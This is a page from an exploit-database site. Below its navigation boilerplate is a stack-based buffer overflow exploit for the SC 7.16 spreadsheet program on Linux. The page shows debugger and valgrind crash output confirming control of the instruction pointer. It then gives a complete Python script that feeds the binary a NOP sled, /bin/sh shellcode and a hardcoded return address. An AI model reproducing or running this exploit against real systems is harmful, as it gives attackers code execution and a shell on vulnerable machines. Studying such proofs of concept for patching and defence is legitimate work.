0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
SC 7.16 - Stack-Based Buffer Overflow Exploit
[# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>
# Bug found using Exploit Pack - Local fuzzer feature.
#
# Tested on: GNU/Linux - Kali Linux
# Filename: pool/main/s/sc/sc_7.16-4+b2_i386.deb
#
# Description: SC v7.16 is prone to a basic stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: SC v7.16 -
http://www.ibiblio.org/pub/Linux/apps/financial/spreadsheet/!INDEX.html
#
#
#[----------------------------------registers-----------------------------------]
#EAX: 0x0
#EBX: 0x41414141 ('AAAA')
#ECX: 0x42 ('B')
#EDX: 0x1
#ESI: 0x41414141 ('AAAA')
#EDI: 0x41414141 ('AAAA')
#EBP: 0x41414141 ('AAAA')
#ESP: 0xbfffee30 --> 0xbffff100 --> 0xb7fd9000 (jg 0xb7fd9047)
#EIP: 0x41424344 ('DCBA')
#EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT
direction overflow)
#[-------------------------------------code-------------------------------------]
#Invalid $PC address: 0x41424344
#[------------------------------------stack-------------------------------------]
#0000| 0xbfffee30 --> 0xbffff100 --> 0xb7fd9000 (jg 0xb7fd9047)
#0004| 0xbfffee34 --> 0x1
#0008| 0xbfffee38 --> 0x0
#0012| 0xbfffee3c --> 0x0
#0016| 0xbfffee40 --> 0xf63d4e2e
#0020| 0xbfffee44 --> 0xb7fe4bf9 (<do_lookup_x+1689>: add esp,0x20)
#0024| 0xbfffee48 --> 0x1
#0028| 0xbfffee4c --> 0x1
#[------------------------------------------------------------------------------]
#Legend: code, data, rodata, value
#Stopped reason: SIGSEGV
#0x41424344 in ?? ()
#gdb-peda$ backtrace
##0 0x41424344 in ?? ()
##1 0xbffff100 in ?? ()
#Backtrace stopped: previous frame inner to this frame (corrupt stack?)
#gdb-peda$
#
#==2332==
#==2332== Jump to the invalid address stated on the next line
#==2332== at 0x41424344: ???
#==2332== Address 0x41424344 is not stack'd, malloc'd or (recently) free'd
#==2332==
#==2332==
#==2332== Process terminating with default action of signal 11 (SIGSEGV)
#==2332== Access not within mapped region at address 0x41424344
#==2332== at 0x41424344: ???
import subprocess
import os
buffersize = 1052
nopsled = "\x90"
# Shell
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\x10\xf0\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip
try:
subprocess.call(["/usr/bin/sc", buffer])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "SC binary not found!"
else:
print "Error executing exploit"
raise
# 0day.today [2024-11-16] #